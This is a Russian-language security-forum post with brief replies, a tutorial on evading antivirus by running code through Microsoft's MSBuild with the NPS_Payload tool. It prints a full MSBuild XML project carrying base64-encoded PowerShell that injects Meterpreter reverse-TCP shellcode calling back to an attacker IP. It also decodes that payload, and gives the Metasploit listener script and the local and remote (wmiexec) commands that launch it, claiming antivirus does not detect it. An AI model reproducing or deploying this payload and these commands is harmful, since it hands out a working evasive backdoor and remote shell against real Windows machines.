• Курсы Академии Кодебай, стартующие в мае - июне, от команды The Codeby

    1. Цифровая криминалистика и реагирование на инциденты
    2. ОС Linux (DFIR) Старт: 16 мая
    3. Анализ фишинговых атак Старт: 16 мая Устройства для тестирования на проникновение Старт: 16 мая

    Скидки до 10%

    Полный список ближайших курсов ...

Легальный способ обхода антивируса или Как Билл сам себе удружил

Breed

Заблокирован
16.05.2017
194
238
BIT
0
В продолжение предыдущей темы...
Направление тематики подсказано Ondrik8 (отдельное спасибо), пришлось "попотеть".
Поехали?

Проникновение - это искусство. А искусство проникновения состоит не только в том, чтобы применять нелегальные методы и инструменты, а как раз в том, чтобы инструменты противника обратить против него самого. Все слышали про "Айкидо"? Вот этот вид борьбы использует как раз эти самые методы: сила и мощь противника обращается против него самого.
Т.е., если мы планируем вскрыть продукцию Microsoft-а, то давайте поищем вполне легальные инструменты, созданные порой самим производителем.
Кстати, знаете от чего больше всего погибает людей во всем мире при бытовых конфликтах? От обычного кухонного ножа! А ведь он создан не для этого. :) Та же плачевная ситуация с динамитом: его изобрел Альфред Нобель для облегчения тяжелого труда горняков - взрывать породу.
Но, вернемся к нашим баранам...

Итак, всем известны фамилия и инструменты Марка Руссиновича (NIR & PCTools)которые тоже могут доставить немало неприятностей нерадивым админам, попади они в умелые руки.
Но есть и другие приложения, для обнаружения возможного применения которых требуется кропотливый (порой) анализ или Его Величество Случай. Одним из таких представителей образной "подставы" Билла является бинарный пакет от Microsoft - Microsoft Visual Studio. Точнее - его часть - MSBuild

Запуск кода через MSBuild с помощью NPS_Payload
Visual Studio -
MSBuild1 -
Пошаговое руководство. Создание файла проекта MSBuild с нуля -
Кейси Смит (Casey Smith с ником SubTee) обнаружил и опубликовал возможность применения продукции Microsoft против нее самой: показал, код может выполняться с помощью .csproj или XML - файлов, используя msbuild.exe
https://github.com/Microsoft/msbuild
Им выявлено несколько разделов этих форматов , в которые можно внедрить код , который будет проанализирован, выполнен запуск msbuild.exe, что позволило бы получить удаленную сессию metepreter.
В качестве примера полезной нагрузки он предлагает (коды даются в ознакомительно-информативных целях):
Код:
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
  <Target Name="npscsharp">
   <nps />
  </Target>
  <UsingTask
    TaskName="nps"
    TaskFactory="CodeTaskFactory"
    AssemblyFile="C:\Windows\Microsoft.Net\Framework\v4.0.30319\Microsoft.Build.Tasks.v4.0.dll" >
  <Task>
    <Reference Include="System.Management.Automation" />
      <Code Type="Class" Language="cs">
        <![CDATA[

          using System;
      using System.Collections.ObjectModel;
      using System.Management.Automation;
      using System.Management.Automation.Runspaces;
      using Microsoft.Build.Framework;
      using Microsoft.Build.Utilities;

      public class nps : Task, ITask
        {
            public override bool Execute()
            {
              string cmd = "JFVsQ3RZWU13cSA9IEAiDQpbRGxsSW1wb3J0KCJrZXJuZWwzMi5kbGwiKV0NCnB1YmxpYyBzdGF0aWMgZXh0ZXJuIEludFB0ciBWaXJ0dWFsQWxsb2MoSW50UHRyIGxwQWRkcmVzcywgdWludCBkd1NpemUsIHVpbnQgZmxBbGxvY2F0aW9uVHlwZSwgdWludCBmbFByb3RlY3QpOw0KW0RsbEltcG9ydCgia2VybmVsMzIuZGxsIildDQpwdWJsaWMgc3RhdGljIGV4dGVybiBJbnRQdHIgQ3JlYXRlVGhyZWFkKEludFB0ciBscFRocmVhZEF0dHJpYnV0ZXMsIHVpbnQgZHdTdGFja1NpemUsIEludFB0ciBscFN0YXJ0QWRkcmVzcywgSW50UHRyIGxwUGFyYW1ldGVyLCB1aW50IGR3Q3JlYXRpb25GbGFncywgSW50UHRyIGxwVGhyZWFkSWQpOw0KW0RsbEltcG9ydCgibXN2Y3J0LmRsbCIpXQ0KcHVibGljIHN0YXRpYyBleHRlcm4gSW50UHRyIG1lbXNldChJbnRQdHIgZGVzdCwgdWludCBzcmMsIHVpbnQgY291bnQpOw0KIkANCg0KJEpteUN3a1FremFOcGYgPSBBZGQtVHlwZSAtbWVtYmVyRGVmaW5pdGlvbiAkVWxDdFlZTXdxIC1OYW1lICJXaW4zMiIgLW5hbWVzcGFjZSBXaW4zMkZ1bmN0aW9ucyAtcGFzc3RocnUNCg0KW0J5dGVbXV0gJFBkc05JRnZwcmd1TkYgPSAweGZjLDB4ZTgsMHg4MiwweDAsMHgwLDB4MCwweDYwLDB4ODksMHhlNSwweDMxDQokUGRzTklGdnByZ3VORiArPSAweGMwLDB4NjQsMHg4YiwweDUwLDB4MzAsMHg4YiwweDUyLDB4YywweDhiLDB4NTINCiRQZHNOSUZ2cHJndU5GICs9IDB4MTQsMHg4YiwweDcyLDB4MjgsMHhmLDB4YjcsMHg0YSwweDI2LDB4MzEsMHhmZg0KJFBkc05JRnZwcmd1TkYgKz0gMHhhYywweDNjLDB4NjEsMHg3YywweDIsMHgyYywweDIwLDB4YzEsMHhjZiwweGQNCiRQZHNOSUZ2cHJndU5GICs9IDB4MSwweGM3LDB4ZTIsMHhmMiwweDUyLDB4NTcsMHg4YiwweDUyLDB4MTAsMHg4Yg0KJFBkc05JRnZwcmd1TkYgKz0gMHg0YSwweDNjLDB4OGIsMHg0YywweDExLDB4NzgsMHhlMywweDQ4LDB4MSwweGQxDQokUGRzTklGdnByZ3VORiArPSAweDUxLDB4OGIsMHg1OSwweDIwLDB4MSwweGQzLDB4OGIsMHg0OSwweDE4LDB4ZTMNCiRQZHNOSUZ2cHJndU5GICs9IDB4M2EsMHg0OSwweDhiLDB4MzQsMHg4YiwweDEsMHhkNiwweDMxLDB4ZmYsMHhhYw0KJFBkc05JRnZwcmd1TkYgKz0gMHhjMSwweGNmLDB4ZCwweDEsMHhjNywweDM4LDB4ZTAsMHg3NSwweGY2LDB4Mw0KJFBkc05JRnZwcmd1TkYgKz0gMHg3ZCwweGY4LDB4M2IsMHg3ZCwweDI0LDB4NzUsMHhlNCwweDU4LDB4OGIsMHg1OA0KJFBkc05JRnZwcmd1TkYgKz0gMHgyNCwweDEsMHhkMywweDY2LDB4OGIsMHhjLDB4NGIsMHg4YiwweDU4LDB4MWMNCiRQZHNOSUZ2cHJndU5GICs9IDB4MSwweGQzLDB4OGIsMHg0LDB4OGIsMHgxLDB4ZDAsMHg4OSwweDQ0LDB4MjQNCiRQZHNOSUZ2cHJndU5GICs9IDB4MjQsMHg1YiwweDViLDB4NjEsMHg1OSwweDVhLDB4NTEsMHhmZiwweGUwLDB4NWYNCiRQZHNOSUZ2cHJndU5GICs9IDB4NWYsMHg1YSwweDhiLDB4MTIsMHhlYiwweDhkLDB4NWQsMHg2OCwweDMzLDB4MzINCiRQZHNOSUZ2cHJndU5GICs9IDB4MCwweDAsMHg2OCwweDc3LDB4NzMsMHgzMiwweDVmLDB4NTQsMHg2OCwweDRjDQokUGRzTklGdnByZ3VORiArPSAweDc3LDB4MjYsMHg3LDB4ZmYsMHhkNSwweGI4LDB4OTAsMHgxLDB4MCwweDANCiRQZHNOSUZ2cHJndU5GICs9IDB4MjksMHhjNCwweDU0LDB4NTAsMHg2OCwweDI5LDB4ODAsMHg2YiwweDAsMHhmZg0KJFBkc05JRnZwcmd1TkYgKz0gMHhkNSwweDZhLDB4NSwweDY4LDB4YzAsMHhhOCwweDEsMHg4NCwweDY4LDB4Mg0KJFBkc05JRnZwcmd1TkYgKz0gMHgwLDB4MTEsMHg1YywweDg5LDB4ZTYsMHg1MCwweDUwLDB4NTAsMHg1MCwweDQwDQokUGRzTklGdnByZ3VORiArPSAweDUwLDB4NDAsMHg1MCwweDY4LDB4ZWEsMHhmLDB4ZGYsMHhlMCwweGZmLDB4ZDUNCiRQZHNOSUZ2cHJndU5GICs9IDB4OTcsMHg2YSwweDEwLDB4NTYsMHg1NywweDY4LDB4OTksMHhhNSwweDc0LDB4NjENCiRQZHNOSUZ2cHJndU5GICs9IDB4ZmYsMHhkNSwweDg1LDB4YzAsMHg3NCwweGEsMHhmZiwweDRlLDB4OCwweDc1DQokUGRzTklGdnByZ3VORiArPSAweGVjLDB4ZTgsMHg2MSwweDAsMHgwLDB4MCwweDZhLDB4MCwweDZhLDB4NA0KJFBkc05JRnZwcmd1TkYgKz0gMHg1NiwweDU3LDB4NjgsMHgyLDB4ZDksMHhjOCwweDVmLDB4ZmYsMHhkNSwweDgzDQokUGRzTklGdnByZ3VORiArPSAweGY4LDB4MCwweDdlLDB4MzYsMHg4YiwweDM2LDB4NmEsMHg0MCwweDY4LDB4MA0KJFBkc05JRnZwcmd1TkYgKz0gMHgxMCwweDAsMHgwLDB4NTYsMHg2YSwweDAsMHg2OCwweDU4LDB4YTQsMHg1Mw0KJFBkc05JRnZwcmd1TkYgKz0gMHhlNSwweGZmLDB4ZDUsMHg5MywweDUzLDB4NmEsMHgwLDB4NTYsMHg1MywweDU3DQokUGRzTklGdnByZ3VORiArPSAweDY4LDB4MiwweGQ5LDB4YzgsMHg1ZiwweGZmLDB4ZDUsMHg4MywweGY4LDB4MA0KJFBkc05JRnZwcmd1TkYgKz0gMHg3ZCwweDIyLDB4NTgsMHg2OCwweDAsMHg0MCwweDAsMHgwLDB4NmEsMHgwDQokUGRzTklGdnByZ3VORiArPSAweDUwLDB4NjgsMHhiLDB4MmYsMHhmLDB4MzAsMHhmZiwweGQ1LDB4NTcsMHg2OA0KJFBkc05JRnZwcmd1TkYgKz0gMHg3NSwweDZlLDB4NGQsMHg2MSwweGZmLDB4ZDUsMHg1ZSwweDVlLDB4ZmYsMHhjDQokUGRzTklGdnByZ3VORiArPSAweDI0LDB4ZTksMHg3MSwweGZmLDB4ZmYsMHhmZiwweDEsMHhjMywweDI5LDB4YzYNCiRQZHNOSUZ2cHJndU5GICs9IDB4NzUsMHhjNywweGMzLDB4YmIsMHhmMCwweGI1LDB4YTIsMHg1NiwweDZhLDB4MA0KJFBkc05JRnZwcmd1TkYgKz0gMHg1MywweGZmLDB4ZDUNCg0KDQokSXZMcnZSakh1QlVEID0gJEpteUN3a1FremFOcGY6OlZpcnR1YWxBbGxvYygwLFtNYXRoXTo6TWF4KCRQZHNOSUZ2cHJndU5GLkxlbmd0aCwweDEwMDApLDB4MzAwMCwweDQwKQ0KDQpmb3IgKCRRUVJPRFZSWG5wZz0wOyRRUVJPRFZSWG5wZyAtbGUgKCRQZHNOSUZ2cHJndU5GLkxlbmd0aC0xKTskUVFST0RWUlhucGcrKykgew0KICAkSm15Q3drUWt6YU5wZjo6bWVtc2V0KFtJbnRQdHJdKCRJdkxydlJqSHVCVUQuVG9JbnQzMigpKyRRUVJPRFZSWG5wZyksICRQZHNOSUZ2cHJndU5GWyRRUVJPRFZSWG5wZ10sIDEpIHwgT3V0LU51bGwNCn0NCg0KJEpteUN3a1FremFOcGY6OkNyZWF0ZVRocmVhZCgwLDAsJEl2THJ2UmpIdUJVRCwwLDAsMCkNCmZvciAoOzspewogIFN0YXJ0LXNsZWVwIDYwCn0=";
  
                PowerShell ps = PowerShell.Create();
                ps.AddScript(Base64Decode(cmd));

                Collection<PSObject> output = null;
                try
                {
                    output = ps.Invoke();
                }
                catch(Exception e)
                {
                    Console.WriteLine("Error while executing the script.\r\n" + e.Message.ToString());
                }
                if (output != null)
                {
                    foreach (PSObject rtnItem in output)
                    {
                        Console.WriteLine(rtnItem.ToString());
                    }
                }
                return true;
            }

            public static string Base64Encode(string text) {
           return System.Convert.ToBase64String(System.Text.Encoding.UTF8.GetBytes(text));
        }

        public static string Base64Decode(string encodedtext) {
            return System.Text.Encoding.UTF8.GetString(System.Convert.FromBase64String(encodedtext));
        }
        }
        ]]>
      </Code>
    </Task>
  </UsingTask>
</Project>
Это блок, написанный на C#, который будет содержать полезную нагрузку в base64 для получения бэкдора благодаря его выполнению через MSBuild.
Пэйлоад находится в следующем коде, закодированном в base64:
Код:
$UlCtYYMwq = @"
[DllImport("kernel32.dll")]
public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);
[DllImport("kernel32.dll")]
public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);
[DllImport("msvcrt.dll")]
public static extern IntPtr memset(IntPtr dest, uint src, uint count);
"@

$JmyCwkQkzaNpf = Add-Type -memberDefinition $UlCtYYMwq -Name "Win32" -namespace Win32Functions -passthru

[Byte[]] $PdsNIFvprguNF = 0xfc,0xe8,0x82,0x0,0x0,0x0,0x60,0x89,0xe5,0x31
$PdsNIFvprguNF += 0xc0,0x64,0x8b,0x50,0x30,0x8b,0x52,0xc,0x8b,0x52
$PdsNIFvprguNF += 0x14,0x8b,0x72,0x28,0xf,0xb7,0x4a,0x26,0x31,0xff
$PdsNIFvprguNF += 0xac,0x3c,0x61,0x7c,0x2,0x2c,0x20,0xc1,0xcf,0xd
$PdsNIFvprguNF += 0x1,0xc7,0xe2,0xf2,0x52,0x57,0x8b,0x52,0x10,0x8b
$PdsNIFvprguNF += 0x4a,0x3c,0x8b,0x4c,0x11,0x78,0xe3,0x48,0x1,0xd1
$PdsNIFvprguNF += 0x51,0x8b,0x59,0x20,0x1,0xd3,0x8b,0x49,0x18,0xe3
$PdsNIFvprguNF += 0x3a,0x49,0x8b,0x34,0x8b,0x1,0xd6,0x31,0xff,0xac
$PdsNIFvprguNF += 0xc1,0xcf,0xd,0x1,0xc7,0x38,0xe0,0x75,0xf6,0x3
$PdsNIFvprguNF += 0x7d,0xf8,0x3b,0x7d,0x24,0x75,0xe4,0x58,0x8b,0x58
$PdsNIFvprguNF += 0x24,0x1,0xd3,0x66,0x8b,0xc,0x4b,0x8b,0x58,0x1c
$PdsNIFvprguNF += 0x1,0xd3,0x8b,0x4,0x8b,0x1,0xd0,0x89,0x44,0x24
$PdsNIFvprguNF += 0x24,0x5b,0x5b,0x61,0x59,0x5a,0x51,0xff,0xe0,0x5f
$PdsNIFvprguNF += 0x5f,0x5a,0x8b,0x12,0xeb,0x8d,0x5d,0x68,0x33,0x32
$PdsNIFvprguNF += 0x0,0x0,0x68,0x77,0x73,0x32,0x5f,0x54,0x68,0x4c
$PdsNIFvprguNF += 0x77,0x26,0x7,0xff,0xd5,0xb8,0x90,0x1,0x0,0x0
$PdsNIFvprguNF += 0x29,0xc4,0x54,0x50,0x68,0x29,0x80,0x6b,0x0,0xff
$PdsNIFvprguNF += 0xd5,0x6a,0x5,0x68,0xc0,0xa8,0x1,0x84,0x68,0x2
$PdsNIFvprguNF += 0x0,0x11,0x5c,0x89,0xe6,0x50,0x50,0x50,0x50,0x40
$PdsNIFvprguNF += 0x50,0x40,0x50,0x68,0xea,0xf,0xdf,0xe0,0xff,0xd5
$PdsNIFvprguNF += 0x97,0x6a,0x10,0x56,0x57,0x68,0x99,0xa5,0x74,0x61
$PdsNIFvprguNF += 0xff,0xd5,0x85,0xc0,0x74,0xa,0xff,0x4e,0x8,0x75
$PdsNIFvprguNF += 0xec,0xe8,0x61,0x0,0x0,0x0,0x6a,0x0,0x6a,0x4
$PdsNIFvprguNF += 0x56,0x57,0x68,0x2,0xd9,0xc8,0x5f,0xff,0xd5,0x83
$PdsNIFvprguNF += 0xf8,0x0,0x7e,0x36,0x8b,0x36,0x6a,0x40,0x68,0x0
$PdsNIFvprguNF += 0x10,0x0,0x0,0x56,0x6a,0x0,0x68,0x58,0xa4,0x53
$PdsNIFvprguNF += 0xe5,0xff,0xd5,0x93,0x53,0x6a,0x0,0x56,0x53,0x57
$PdsNIFvprguNF += 0x68,0x2,0xd9,0xc8,0x5f,0xff,0xd5,0x83,0xf8,0x0
$PdsNIFvprguNF += 0x7d,0x22,0x58,0x68,0x0,0x40,0x0,0x0,0x6a,0x0
$PdsNIFvprguNF += 0x50,0x68,0xb,0x2f,0xf,0x30,0xff,0xd5,0x57,0x68
$PdsNIFvprguNF += 0x75,0x6e,0x4d,0x61,0xff,0xd5,0x5e,0x5e,0xff,0xc
$PdsNIFvprguNF += 0x24,0xe9,0x71,0xff,0xff,0xff,0x1,0xc3,0x29,0xc6
$PdsNIFvprguNF += 0x75,0xc7,0xc3,0xbb,0xf0,0xb5,0xa2,0x56,0x6a,0x0
$PdsNIFvprguNF += 0x53,0xff,0xd5


$IvLrvRjHuBUD = $JmyCwkQkzaNpf::VirtualAlloc(0,[Math]::Max($PdsNIFvprguNF.Length,0x1000),0x3000,0x40)

for ($QQRODVRXnpg=0;$QQRODVRXnpg -le ($PdsNIFvprguNF.Length-1);$QQRODVRXnpg++) {
  $JmyCwkQkzaNpf::memset([IntPtr]($IvLrvRjHuBUD.ToInt32()+$QQRODVRXnpg), $PdsNIFvprguNF[$QQRODVRXnpg], 1) | Out-Null
}

$JmyCwkQkzaNpf::CreateThread(0,0,$IvLrvRjHuBUD,0,0,0)
for (;;){
  Start-sleep 60
}
Вот эти коды не обнаруживаются (пока) антивирусными программами:

Сложность написания и создания подобной полезной нагрузки вынудила авторов написать на "Python" инструмент, который облегчает эту работу. Это
NPS_Payload:
https://github.com/trustedsec/nps_payload
Он отвечает за создание полезной нагрузки, написанной в Powershell , которая будет вставлена в нашем .xml-файле, проходящем через MSBuild, а также будет генерировать ресурс для консоли Metasploit.
Пример автор приводит на "Parrot"-е.
Установка инструмента очень проста, просто нужно установить требования, которые находятся в файле requirements.txt следующим образом:
Код:
┌─[root@parrot]─[/home/alejandro/Desktop]
└──╼ #cd nps_payload-master/
┌─[root@parrot]─[/home/alejandro/Desktop/nps_payload-master]
└──╼ #pip install -r requirements.txt
Collecting netifaces (from -r requirements.txt (line 1))
  Downloading netifaces-0.10.6.tar.gz
Requirement already satisfied: pexpect in /usr/lib/python2.7/dist-packages (from -r requirements.txt (line 2))
Building wheels for collected packages: netifaces
  Running setup.py bdist_wheel for netifaces ... done
  Stored in directory: /root/.cache/pip/wheels/28/e1/08/e66a4f207479500a27eae682a4773fa00605f2c5d953257824
Successfully built netifaces
Installing collected packages: netifaces
Successfully installed netifaces-0.10.6
┌─[root@parrot]─[/home/alejandro/Desktop/nps_payload-master]
└──╼ #./nps_payload.py
                                                
                                     (            (
                              ) (    )\        )  )\ )
  (    `  )  (       `  )  ( /( )\ )((_)(   ( /( (()/(
  )\ ) /(/(  )\      /(/(  )(_)|()/( _  )\  )(_)) ((_))
_(_/(((_)_\((_)    ((_)_\((_)_ )(_)) |((_)((_)_  _| |
| ' \)) '_ \|_-<    | '_ \) _` | || | / _ \/ _` / _` |
|_||_|| .__//__/____| .__/\__,_|\_, |_\___/\__,_\__,_|
      |_|     |_____|_|         |__/             

                       v1.02


    (1)    Generate msbuild/nps/msf payload
    (2)    Generate msbuild/nps/msf HTA payload
    (99)    Quit

Select a task:
Он выложен с двумя видами полезных нагрузок, основной полезной нагрузкой и HTA , которые мы можем использовать в зависимости от поставленной цели.

Пример использования NPS_Payload с реализацией полезной нагрузки может быть следующим:
Код:
┌─[✗]─[root@parrot]─[/home/alejandro/Desktop/nps_payload-master]
└──╼ #./nps_payload.py
                                                
                                     (            (
                              ) (    )\        )  )\ )
  (    `  )  (       `  )  ( /( )\ )((_)(   ( /( (()/(
  )\ ) /(/(  )\      /(/(  )(_)|()/( _  )\  )(_)) ((_))
_(_/(((_)_\((_)    ((_)_\((_)_ )(_)) |((_)((_)_  _| |
| ' \)) '_ \|_-<    | '_ \) _` | || | / _ \/ _` / _` |
|_||_|| .__//__/____| .__/\__,_|\_, |_\___/\__,_\__,_|
      |_|     |_____|_|         |__/             

                       v1.02


    (1)    Generate msbuild/nps/msf payload
    (2)    Generate msbuild/nps/msf HTA payload
    (99)    Quit

Select a task: 1

Payload Selection:

    (1)    windows/meterpreter/reverse_tcp
    (2)    windows/meterpreter/reverse_http
    (3)    windows/meterpreter/reverse_https
    (4)    Custom PS1 Payload

Select payload: 1
Enter Your Local IP Address (192.168.1.132): 192.168.1.132
Enter the listener port: 4444

Generating PSH Payload...

Generating MSF Resource Script...

Metasploit resource script written to msbuild_nps.rc

Run "msfconsole -r msbuild_nps.rc" to start listener.

Payload written to msbuild_nps.xml

Options to deploy:

1) Copy the file to the target machine and then execute the following command:

    %windir%\Microsoft.NET\Framework\v4.0.30319\msbuild.exe <folder_path_here>\msbuild_nps.xml

    --or--

2) Use samba to share the file.

    a) Copy the msbuild_nps.xml file to a local samba share (ie: /var/samba/payload$)
    b) Execute the command remotely with the following command:

    wmiexec.py <USER>:'<PASS>'@<RHOST> cmd.exe /c start %windir%\\Microsoft.NET\\Framework\\v4.0.30319\\msbuild.exe \\\\192.168.1.132\\payloads$\\msbuild_nps.xml
В соответствии с релизом нам дается возможность запуска полезной нагрузки двумя различными способами: как локально, так и удаленно через Samba.
Для простоты пробуем локально, а потом мы выполним файл для настройки metepreter, который сгенерирует нам инструмент с помощью команды msfconsole -r msbuild_nps.rc
Код:
┌─[root@parrot]─[/home/alejandro/Desktop/nps_payload-master]
└──╼ #msfconsole -r msbuild_nps.rc
                                          
IIIIII    dTb.dTb        _.---._
  II     4'  v  'B   .'"".'/|\`.""'.
  II     6.     .P  :  .' / | \ `.  :
  II     'T;. .;P'  '.'  /  |  \  `.'
  II      'T; ;P'    `. /   |   \ .'
IIIIII     'YvP'       `-.__|__.-'

I love shells --egypt


Taking notes in notepad? Have Metasploit Pro track & report
your progress and findings -- learn more on http://rapid7.com/metasploit

       =[ metasploit v4.13.12-dev                         ]
+ -- --=[ 1611 exploits - 914 auxiliary - 279 post        ]
+ -- --=[ 471 payloads - 39 encoders - 9 nops             ]
+ -- --=[ Free Metasploit Pro trial: http://r-7.co/trymsp ]

[*] Processing msbuild_nps.rc for ERB directives.
resource (msbuild_nps.rc)> use multi/handler
resource (msbuild_nps.rc)> set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
resource (msbuild_nps.rc)> set LHOST 192.168.1.132
LHOST => 192.168.1.132
resource (msbuild_nps.rc)> set LPORT 4444
LPORT => 4444
resource (msbuild_nps.rc)> set ExitOnSession false
ExitOnSession => false
resource (msbuild_nps.rc)> set EnableStageEncoding true
EnableStageEncoding => true
resource (msbuild_nps.rc)> exploit -j -z
[*] Exploit running as background job.

[*] Started reverse TCP handler on 192.168.1.132:4444
[*] Starting the payload handler...
msf exploit(handler) >
Теперь на атакуемом ПК мы должны выполнить нашу полезную нагрузку с MSBuild.exe следующим образом (напоминаю, что мы выбрали локальный запуск для простоты, ибо для другого случая нам прибавится еще две задачи - доставка и выполнение):
Код:
C:\Users\Desktop>C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe msbuild_nps.xml
Microsoft (R) Build Engine, version 4.7.2046.0
[Microsoft .NET Framework, version 4.0.30319.42000]
Copyright (C) Microsoft Corporation. All rights reserved.

Compilation complete.
И тут же открывается сессия metepreter:
xdxdxdxd.png



Для облегчения запуска авторы выложили batсh-файл


Voilà!
[doublepost=1503521902,1503521438][/doublepost]Пока писал, раз 20 выскакивала "каптча" и я задолбался тыкать по мостам, машинам и витринам! Даже на это я бы закрыл глаза, но после переаутенификации выбрасывает на пустую страницу с парой текстовых строк на белом фоне. Спасла привычка держать копию написанного в открытом "блокноте".
 
Последнее редактирование:

ghostphisher

местный
Grey Team
07.12.2016
2 602
3 413
BIT
0
Отличная статья! Тему однозначно надо развивавать во всех деталях.
 

Breed

Заблокирован
16.05.2017
194
238
BIT
0
Отличная статья! Тему однозначно надо развивавать во всех деталях.
Спасибо. Аж ж*па в мыле :)
==========================
Согласен. Но мало того, что нужно не пересекаться с https://codeby.net/threads/obxodim-a-v.59923/, но и выбирать в открытую ветку что "дозволено". Оо-о-чень узкая грань...
 

kot-gor

Grey Team
07.09.2016
529
705
BIT
0
У меня гораздо больше времени уходит на написание статьи, чем на ознакомления с техникой или инструментом.Так что я тебя понимаю.)
 
Мы в соцсетях:

Обучение наступательной кибербезопасности в игровой форме. Начать игру!